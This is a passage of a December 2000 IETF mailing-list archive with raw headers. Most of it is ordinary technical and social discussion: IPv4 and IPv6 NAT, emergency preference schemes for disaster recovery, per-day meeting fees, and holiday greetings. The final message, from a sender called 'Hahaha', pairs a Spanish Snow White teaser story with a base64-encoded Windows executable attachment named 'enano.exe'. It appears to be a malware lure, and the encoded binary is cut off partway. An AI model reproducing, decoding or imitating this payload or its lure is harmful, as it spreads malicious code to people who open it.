<200012221955.OAA13772@astro.cs.utk.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <200012221955.OAA13772@astro.cs.utk.edu>; from moore@cs.utk.edu on Fri, Dec 22, 2000 at 14:54:27 -0500 X-Loop: ietf@ietf.org > thank you, I think you've advertised this draft quite adequately for the > time being. I'm quite willing to look at it, but there are numerous Thanks! now I will relax and go home :) > every possible alternative architecture to conclude that (a) most or all > of these identifiers are necessary, and (b) reserving space for each > one separately, and maintaining all of the mappings between them, > would be onerous. But before I go: Condition (b) presumes on possible alternative architectures. My favourite example is the parallel line axiom - in retrospect, it was *because* it was an axiom that we ended up having two sets of alternative geometries, elliptic and hyperbolic, one of which (Riemannian = elliptic) became the basis of general relativity. Currently, it looks like (b) is axiomatic, but I already break it, and I'm sure the younger, smarter generations will think of new ways we can't begin to imagine. happy holidays, -p. From owner-ietf-outbound Fri Dec 22 16:40:14 2000 Received: by ietf.org (8.9.1a/8.9.1a) id QAA15045 for ietf-outbound.10@ietf.org; Fri, 22 Dec 2000 16:40:02 -0500 (EST) Received: from mgw-x1.nokia.com (mgw-x1.nokia.com [131.228.20.21]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA14968 for ; Fri, 22 Dec 2000 16:35:46 -0500 (EST) From: Hao.H.Wang@nokia.com Received: from esvir09nok.ntc.nokia.com (esvir09nokt.ntc.nokia.com [172.21.143.41]) by mgw-x1.nokia.com (Switch-2.1.0/Switch-2.1.0) with ESMTP id eBMLZiC16550 for ; Fri, 22 Dec 2000 23:35:44 +0200 (EET) Received: from esebh01nok.ntc.nokia.com (unverified) by esvir09nok.ntc.nokia.com (Content Technologies SMTPRS 4.1.5) with ESMTP id for ; Tue, 19 Dec 2000 12:10:09 +0200 Received: by esebh01nok with Internet Mail Service (5.5.2652.78) id ; Tue, 19 Dec 2000 12:10:09 +0200 Message-ID: To: gabriel_landowski@yahoo.com, ietf@ietf.org Subject: RE: NAT v4 vs v6 Date: Tue, 19 Dec 2000 12:06:31 +0200 Importance: high X-Priority: 1 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2652.78) Content-Type: text/plain; charset="iso-8859-1" X-Loop: ietf@ietf.org There are many differences between V4 and V6. You can refer the definition of IP v4/v6. And there are some rfc for nat-pt, such as RFC 2765, RFC2766, etc. -----Original Message----- From: EXT Gabriel Landowski [mailto:gabriel_landowski@yahoo.com] Sent: 18 December, 2000 PM 09:29 To: ietf@ietf.org Subject: NAT v4 vs v6 What are the differences (definitions) of v4 and v6? __________________________________________________ Do You Yahoo!? Yahoo! Shopping - Thousands of Stores. Millions of Products. http://shopping.yahoo.com/ From owner-ietf-outbound Sat Dec 23 06:31:24 2000 Received: by ietf.org (8.9.1a/8.9.1a) id GAA04586 for ietf-outbound.10@ietf.org; Sat, 23 Dec 2000 06:30:02 -0500 (EST) Received: from c004.sfo.cp.net (c004-h023.c004.sfo.cp.net [209.228.13.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA04562 for ; Sat, 23 Dec 2000 06:24:33 -0500 (EST) Received: (cpmta 20516 invoked from network); 23 Dec 2000 03:24:03 -0800 Date: 23 Dec 2000 03:24:03 -0800 Message-ID: <20001223112403.20515.cpmta@c004.sfo.cp.net> X-Sent: 23 Dec 2000 11:24:03 GMT Received: from [209.179.250.100] by mail.donelan.com with HTTP; 23 Dec 2000 03:24:03 PST Content-Type: text/plain Content-Disposition: inline Mime-Version: 1.0 To: ietf@ietf.org From: Sean Donelan Cc: Harald@Alvestrand.no, ieps@listserv.gsfc.nasa.gov X-Mailer: Web Mail 3.7.1.7 Subject: RE: International Emergency Preference Scheme X-Loop: ietf@ietf.org On Fri, 22 December 2000, "Folts, Harold" wrote: > Harald Alvestrand [mailto:Harald@Alvestrand.no] wrote: > > note - this effort is focused at recovering the society from > > a serious > > disaster, not recovering the network, I think. > > You are quite right. Recovery operations does primarily mean restoration for > society. However, recovery of network resources is often necessary to > facilitate the ultimate objective. Its usually doesn't get addressed directly in the priority scheme, but elsewhere. If you need to recover the network, none of the government priority schemes apply. The carrier has first dibs on their own infrastructure. What gets confusing is we don't have monolithic vertically integrated carriers. So it is possible to create a recovery deadlock. From owner-ietf-outbound Sat Dec 23 12:30:50 2000 Received: by ietf.org (8.9.1a/8.9.1a) id MAA05592 for ietf-outbound.10@ietf.org; Sat, 23 Dec 2000 12:30:04 -0500 (EST) Received: from webterminator24.crystaltech.com ([207.254.115.25]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA05564 for ; Sat, 23 Dec 2000 12:25:11 -0500 (EST) Received: from workhorse [63.14.198.36] by webterminator24.crystaltech.com (SMTPD32-6.05) id A01A8F0142; Sat, 23 Dec 2000 10:25:46 -0700 Reply-To: From: "Pan Jung" To: "'Sean Donelan'" Cc: Subject: RE: International Emergency Preference Scheme Date: Sat, 23 Dec 2000 10:25:17 -0700 Message-ID: <000001c06d05$52099e40$0100a8c0@mshome.net> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) Importance: Normal In-Reply-To: <20001223112403.20515.cpmta@c004.sfo.cp.net> X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit if not done already, I am wondering if requiring availability of a redundant network is workable. For example, like the satellite Link such as GEO, have to be bidirectional, internationally funded by good-will governments donations? IETF can work out the technical details? Pan -----Original Message----- From: Sean Donelan [mailto:sean@donelan.com] Sent: Saturday, December 23, 2000 4:24 AM To: ietf@ietf.org Cc: Harald@Alvestrand.no; ieps@listserv.gsfc.nasa.gov Subject: RE: International Emergency Preference Scheme On Fri, 22 December 2000, "Folts, Harold" wrote: > Harald Alvestrand [mailto:Harald@Alvestrand.no] wrote: > > note - this effort is focused at recovering the society from > > a serious > > disaster, not recovering the network, I think. > > You are quite right. Recovery operations does primarily mean restoration for > society. However, recovery of network resources is often necessary to > facilitate the ultimate objective. Its usually doesn't get addressed directly in the priority scheme, but elsewhere. If you need to recover the network, none of the government priority schemes apply. The carrier has first dibs on their own infrastructure. What gets confusing is we don't have monolithic vertically integrated carriers. So it is possible to create a recovery deadlock. From owner-ietf-outbound Sat Dec 23 15:20:22 2000 Received: by ietf.org (8.9.1a/8.9.1a) id PAA06460 for ietf-outbound.10@ietf.org; Sat, 23 Dec 2000 15:20:01 -0500 (EST) Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.43.88]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA06379 for ; Sat, 23 Dec 2000 15:15:15 -0500 (EST) Received: from p7020-img-nt.cisco.com (fred-hm-dhcp1.cisco.com [171.69.128.116]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id MAA22726; Sat, 23 Dec 2000 12:14:48 -0800 (PST) Message-Id: <5.0.2.1.2.20001223115004.03803d40@flipper.cisco.com> X-Sender: fred@flipper.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Sat, 23 Dec 2000 11:50:18 -0800 To: From: Fred Baker Subject: RE: International Emergency Preference Scheme Cc: "'Sean Donelan'" , In-Reply-To: <000001c06d05$52099e40$0100a8c0@mshome.net> References: <20001223112403.20515.cpmta@c004.sfo.cp.net> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 10:25 AM 12/23/00 -0700, Pan Jung wrote: >if not done already, I am wondering if requiring availability of a redundant >network is workable. For example, like the satellite Link such as GEO, have >to be bidirectional, internationally funded by good-will governments >donations? FEMA has such a network. From owner-ietf-outbound Sun Dec 24 13:51:35 2000 Received: by ietf.org (8.9.1a/8.9.1a) id NAA08815 for ietf-outbound.10@ietf.org; Sun, 24 Dec 2000 13:50:01 -0500 (EST) Received: from relay3.inwind.it (relay3.inwind.it [212.141.53.74]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA08785 for ; Sun, 24 Dec 2000 13:44:34 -0500 (EST) Received: from q1a7n0 (62.98.61.71) by relay3.inwind.it (5.1.056) id 3A40BF86000E44A7 for ietf@ietf.org; Sun, 24 Dec 2000 19:43:59 +0100 Message-ID: <003501c06dd9$664e1d20$473d623e@q1a7n0> From: "alessio porcacchia" To: References: <200012200316.WAA19917@astro.cs.utk.edu> Subject: Merry xmas! Date: Sun, 24 Dec 2000 19:43:24 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit Merry Christmas to all friend of IETF (im sorry if i use mailing list but we are too much) :-) /\ /\ /\ /\ /\ /\ _|_|_ \___/ From owner-ietf-outbound Mon Dec 25 11:10:45 2000 Received: by ietf.org (8.9.1a/8.9.1a) id LAA28533 for ietf-outbound.10@ietf.org; Mon, 25 Dec 2000 11:10:02 -0500 (EST) Received: from itc-eml2.lannet.com (at.lannet.com [194.90.94.231]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA28500 for ; Mon, 25 Dec 2000 11:08:10 -0500 (EST) Received: by itc-eml2.lannet.com with Internet Mail Service (5.5.2650.21) id ; Mon, 25 Dec 2000 18:07:54 +0200 Message-ID: <15F58915DF84D311AC7D0090279AA6142342F6@itc-eml2.lannet.com> From: Dan Romascanu To: "'jaltman@columbia.edu'" , Scott Brim Cc: Ken Hornstein , ietf@ietf.org Subject: RE: Bottom feeders Date: Mon, 25 Dec 2000 18:07:53 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain X-Loop: ietf@ietf.org > I know that in the past we have discouraged the notion of a per day > attendance fee because it is an administrative nightmare. Requiring > additional staff to stand at each meeting room to screen badges, ... [Dan] Why would a color coded badge-per-day system would be an administrative nightmare? Like Monday = green, Tuesday = Yellow,...,Blue = the whole week. I do not think that this would require more badge screening than today. This would certainly encourage a more focused participation planning. Dan From owner-ietf-outbound Mon Dec 25 12:30:19 2000 Received: by ietf.org (8.9.1a/8.9.1a) id MAA29127 for ietf-outbound.10@ietf.org; Mon, 25 Dec 2000 12:30:04 -0500 (EST) Received: from watsun.cc.columbia.edu (IDENT:cu51491@watsun.cc.columbia.edu [128.59.39.2]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA29088 for ; Mon, 25 Dec 2000 12:23:09 -0500 (EST) Received: (from jaltman@localhost) by watsun.cc.columbia.edu (8.8.5/8.8.5) id MAA15951; Mon, 25 Dec 2000 12:23:04 -0500 (EST) Date: Mon, 25 Dec 2000 12:23:04 EST From: Jeffrey Altman Reply-To: jaltman@columbia.edu To: Dan Romascanu Cc: Scott Brim , Ken Hornstein , ietf@ietf.org Subject: RE: Bottom feeders In-Reply-To: Your message of Mon, 25 Dec 2000 18:07:53 +0200 Message-ID: X-Loop: ietf@ietf.org > > I know that in the past we have discouraged the notion of a per day > > attendance fee because it is an administrative nightmare. Requiring > > additional staff to stand at each meeting room to screen badges, ... > [Dan] Why would a color coded badge-per-day system would be an > administrative nightmare? Like Monday = green, Tuesday = Yellow,...,Blue = > the whole week. I do not think that this would require more badge screening > than today. This would certainly encourage a more focused participation > planning. At the moment: (1) we don't screen badges at all (except at the terminal room) The assumption is that if you are at the conference hotel, then you are attending the IETF. And most importantly, you have paid. (2) the agenda for the IETF meeting is not finalized until approximately one or two weeks before the meeting. Long after registration opens and people have made their hotel and plane reservations. The nightmare is caused by: (1) the need to finalize the agenda for the IETF meetings months in advance. We all know that most working groups do not set the agenda for their meetings until the last two weeks. And many (most) don't even ask for a meeting until the last possible minute. (It seems to have something to do with the topics for discussion [Internet-Drafts] not being published until the cut off deadline.) (2) the need handle additional on-site registration. given the late notice available to those attending for a single day, the on-site registration is sure to explode. (3) the need to enforce the new attendance rules. In the past we have never enforced payment for the conference by the checking of badges. I know that I have days without wearing mine especially now that the wireless networks are in place. I never even walk into the terminal room unless I have to print something. With single day attendance we will be forced to hire staff to check badges to ensure compliance. Jeffrey Altman * Sr.Software Designer C-Kermit 7.1 Alpha available The Kermit Project @ Columbia University includes Secure Telnet and FTP http://www.kermit-project.org/ using Kerberos, SRP, and kermit-support@kermit-project.org OpenSSL. SSH soon to follow. From owner-ietf-outbound Mon Dec 25 18:20:56 2000 Received: by ietf.org (8.9.1a/8.9.1a) id SAA00864 for ietf-outbound.10@ietf.org; Mon, 25 Dec 2000 18:20:02 -0500 (EST) Received: from prserv.net (out1.prserv.net [32.97.166.31]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA00816 for ; Mon, 25 Dec 2000 18:12:25 -0500 (EST) Received: from u4gbb ([32.102.220.95]) by prserv.net (out1) with SMTP id <2000122523122320103al84be>; Mon, 25 Dec 2000 23:12:25 +0000 From: "Hal Folts" To: "Sean Donelan" Cc: , , Subject: RE: International Emergency Preference Scheme Date: Mon, 25 Dec 2000 18:11:35 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) Importance: Normal In-Reply-To: <20001223112403.20515.cpmta@c004.sfo.cp.net> X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit > -----Original Message----- > From: owner-ieps@listserv.gsfc.nasa.gov > [mailto:owner-ieps@listserv.gsfc.nasa.gov]On Behalf Of Sean Donelan > Sent: Saturday, December 23, 2000 6:24 AM > To: ietf@ietf.org > Cc: Harald@Alvestrand.no; ieps@listserv.gsfc.nasa.gov > Subject: RE: International Emergency Preference Scheme > > > On Fri, 22 December 2000, "Folts, Harold" wrote: > > Harald Alvestrand [mailto:Harald@Alvestrand.no] wrote: > > > note - this effort is focused at recovering the society from > > > a serious > > > disaster, not recovering the network, I think. > > > > You are quite right. Recovery operations does primarily mean > restoration for > > society. However, recovery of network resources is often necessary to > > facilitate the ultimate objective. > > Its usually doesn't get addressed directly in the priority scheme, but > elsewhere. If you need to recover the network, none of the government > priority schemes apply. The carrier has first dibs on their own > infrastructure. What gets confusing is we don't have monolithic > vertically integrated carriers. So it is possible to create a recovery > deadlock. > > From owner-ietf-outbound Mon Dec 25 18:30:11 2000 Received: by ietf.org (8.9.1a/8.9.1a) id SAA00920 for ietf-outbound.10@ietf.org; Mon, 25 Dec 2000 18:30:03 -0500 (EST) Received: from prserv.net (out2.prserv.net [32.97.166.32]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA00829 for ; Mon, 25 Dec 2000 18:16:32 -0500 (EST) Received: from u4gbb ([32.102.220.95]) by prserv.net (out2) with SMTP id <2000122523163120204iak4le>; Mon, 25 Dec 2000 23:16:33 +0000 From: "Hal Folts" To: "Sean Donelan" Cc: , , Subject: ietf@ietf.orgRE: International Emergency Preference Scheme Date: Mon, 25 Dec 2000 18:15:42 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) Importance: Normal In-Reply-To: <20001223112403.20515.cpmta@c004.sfo.cp.net> X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit > -----Original Message----- > From: owner-ieps@listserv.gsfc.nasa.gov > [mailto:owner-ieps@listserv.gsfc.nasa.gov]On Behalf Of Sean Donelan > Sent: Saturday, December 23, 2000 6:24 AM > To: ietf@ietf.org > Cc: Harald@Alvestrand.no; ieps@listserv.gsfc.nasa.gov > Subject: RE: International Emergency Preference Scheme > > > On Fri, 22 December 2000, "Folts, Harold" wrote: > > Harald Alvestrand [mailto:Harald@Alvestrand.no] wrote: > > > note - this effort is focused at recovering the society from > > > a serious > > > disaster, not recovering the network, I think. > > > > You are quite right. Recovery operations does primarily mean > restoration for > > society. However, recovery of network resources is often necessary to > > facilitate the ultimate objective. > > Its usually doesn't get addressed directly in the priority scheme, but > elsewhere. If you need to recover the network, none of the government > priority schemes apply. The carrier has first dibs on their own > infrastructure. What gets confusing is we don't have monolithic > vertically integrated carriers. So it is possible to create a recovery > deadlock. > Sean, that's exactly right. The service prividers have full and primary control of their resources for recovery purposes. However, there are issues for restoration between providers. Thanks for your comments. Hal From owner-ietf-outbound Mon Dec 25 22:30:48 2000 Received: by ietf.org (8.9.1a/8.9.1a) id WAA02602 for ietf-outbound.10@ietf.org; Mon, 25 Dec 2000 22:30:03 -0500 (EST) Received: from black-ice.cc.vt.edu (root@[128.173.14.71]) by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA02556 for ; Mon, 25 Dec 2000 22:22:50 -0500 (EST) From: Valdis.Kletnieks@vt.edu Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1]) by black-ice.cc.vt.edu (8.12.0.Alpha1/8.12.0.Alpha1) with ESMTP id eBQ3MmCW04328; Mon, 25 Dec 2000 22:22:49 -0500 Message-Id: <200012260322.eBQ3MmCW04328@black-ice.cc.vt.edu> To: alessio porcacchia cc: ietf@ietf.org Subject: Re: Merry xmas! In-reply-to: Your message of "Sun, 24 Dec 2000 19:43:24 +0100." <003501c06dd9$664e1d20$473d623e@q1a7n0> X-URL: http://black-ice.cc.vt.edu/~valdis/ X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t( ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[ <003501c06dd9$664e1d20$473d623e@q1a7n0> Date: Mon, 25 Dec 2000 22:22:48 -0500 X-Loop: ietf@ietf.org On Sun, 24 Dec 2000 19:43:24 +0100, alessio porcacchia said: > Merry Christmas to all friend of IETF And a happy for the non-Christmas oriented. If you're an atheist or agnostic, enjoy the quiet while the rest of us celebrate. ;) I think that covers most everybody. ;) Valdis Kletnieks Operating Systems Analyst Virginia Tech From owner-ietf-outbound Tue Dec 26 09:00:34 2000 Received: by ietf.org (8.9.1a/8.9.1a) id JAA19206 for ietf-outbound.10@ietf.org; Tue, 26 Dec 2000 09:00:02 -0500 (EST) Received: from tor-smtp2.netcom.ca ([207.181.101.101]) by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA19178 for ; Tue, 26 Dec 2000 08:57:15 -0500 (EST) Received: from epmlaptop.praxinet.com (mon-pq54-163.netcom.ca [216.123.143.35]) by tor-smtp2.netcom.ca (8.8.7-s-4/8.8.7) with ESMTP id IAA03026 for ; Tue, 26 Dec 2000 08:56:44 -0500 (EST) Message-Id: <5.0.2.1.2.20001226085309.00a2b960@mail.praxinet.com> X-Sender: pmckinney@praxinet.com@mail.praxinet.com (Unverified) X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Tue, 26 Dec 2000 08:54:38 -0500 To: ietf@ietf.org From: "E. Peter McKinney" Subject: Drafts and RFC's - no more distribution? Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org Folks, I used to receive via email the announcements of ID Action, RFC's, etc. I seem to not receive these any longer. Perhaps I unintentionally removed myself from the distribution list? Thanks in advance. Peter From owner-ietf-outbound Tue Dec 26 09:20:07 2000 Received: by ietf.org (8.9.1a/8.9.1a) id JAA19336 for ietf-outbound.10@ietf.org; Tue, 26 Dec 2000 09:20:02 -0500 (EST) Received: from ftpbox.mot.com (ftpbox.mot.com [129.188.136.101]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA19309 for ; Tue, 26 Dec 2000 09:19:30 -0500 (EST) Received: [from pobox2.mot.com (pobox2.mot.com [136.182.15.8]) by ftpbox.mot.com (ftpbox 2.1) with ESMTP id HAA22671 for ; Tue, 26 Dec 2000 07:19:30 -0700 (MST)] Received: [from plnt052.comm.mot.com (plnt052.comm.mot.com [145.2.198.79]) by pobox2.mot.com (MOT-pobox2 2.0) with ESMTP id HAA12051 for ; Tue, 26 Dec 2000 07:19:30 -0700 (MST)] Received: by plnt052.comm.mot.com with Internet Mail Service (5.5.2650.21) id ; Tue, 26 Dec 2000 09:19:29 -0500 Message-ID: <92BE5DF97775D411BD01009027E7734F49C19C@plnt052.comm.mot.com> From: Fernandez Joe-EAIM166 To: "'ietf@ietf.org'" Subject: unscribe Date: Tue, 26 Dec 2000 09:18:55 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain X-Loop: ietf@ietf.org > -----Original Message----- > From: Jeffrey Altman [SMTP:jaltman@columbia.edu] > Sent: Thursday, December 21, 2000 4:03 PM > To: V Guruprasad > Cc: Ken Hornstein; ietf@ietf.org > Subject: Re: Bottom feeders > > > On Thu, 21 Dec 2000, Ken Hornstein wrote: > > > > > That hasn't been my experience; I've seen what can only be described > as > > > an "old-boy" network in operation. I'm not saying that such a thing > is > > > necessarily bad, just that sometimes it takes significant effort to > > > overcome it if you're a newbie. > > > > Both the "old-boy" network and the undue skepticism are natural and > occur > > in every field. My intuition is, if you try to suppress them, they'll > show > > up in other ways! > > > > On the other hand, I was a first-timer at the 49th IETF (although I was > > already known to some in mmedia wg before), and had a rather atrocious > > proposal to lobby for (see my I-D - you *can't* possibly believe it at > > first reading :-). I've seen no less openness and no more skepticism at > > the IETF than within my own organisation. I think the people are > wonderful, > > including many "old timers" - I quite enjoyed the many first-hand > stories > > in the many hallway discussions. > > But here is the difference between your first time experience and > those of others. You were already known in one of the WG communities; > and you came with an I-D that you were trying to build support for. > In other words, you were a participant rather than a lurker. > > You are exactly the type of first timers that should come to IETF > meetings. > > > > Jeffrey Altman * Sr.Software Designer C-Kermit 7.1 Alpha available > The Kermit Project @ Columbia University includes Secure Telnet and FTP > http://www.kermit-project.org/ using Kerberos, SRP, and > kermit-support@kermit-project.org OpenSSL. SSH soon to follow. From owner-ietf-outbound Tue Dec 26 13:45:35 2000 Received: by ietf.org (8.9.1a/8.9.1a) id NAA21017 for ietf-outbound.10@ietf.org; Tue, 26 Dec 2000 13:43:42 -0500 (EST) Received: from smtp.prodigy.net.mx (dfproxy03.prodigy.net.mx [148.235.168.59] (may be forged)) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA20701 for ; Tue, 26 Dec 2000 13:25:03 -0500 (EST) Received: from prodigy (du-148-233-180-29.prodigy.net.mx [148.233.180.29]) by SMTP.Prodigy.Net.mx (Sun Internet Mail Server sims.4.0.2000.05.17.04.13.p6) with SMTP id <0G6600M57TGPNU@SMTP.Prodigy.Net.mx>; Tue, 26 Dec 2000 12:17:24 -0600 (CST) Date: Tue, 26 Dec 2000 12:17:24 -0600 (CST) Date-warning: Date header was inserted by SMTP.Prodigy.Net.mx From: Hahaha Subject: Enanito si, pero con que pedazo! To: ietf@ietf.org Message-id: <0G6600M58TGPNU@SMTP.Prodigy.Net.mx> MIME-version: 1.0 Content-type: MULTIPART/MIXED; BOUNDARY="Boundary_(ID_cTKKVqPnpmxe3QHXdfm3CA)" X-Loop: ietf@ietf.org --Boundary_(ID_cTKKVqPnpmxe3QHXdfm3CA) Content-type: text/plain; charset=us-ascii Content-Transfer-Encoding: QUOTED-PRINTABLE Faltaba apenas un dia para su aniversario de de 18 a=F1os. Blanca de = Nieve fuera siempre muy bien cuidada por los enanitos. Ellos le prometieron una *= grande* sorpresa para su fiesta de complea=F1os. Al entardecer, llegaron. Ten= ian un brillo incomun en los ojos... --Boundary_(ID_cTKKVqPnpmxe3QHXdfm3CA) Content-type: application/octet-stream; name=enano.exe Content-disposition: attachment; filename=enano.exe Content-Transfer-Encoding: base64 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 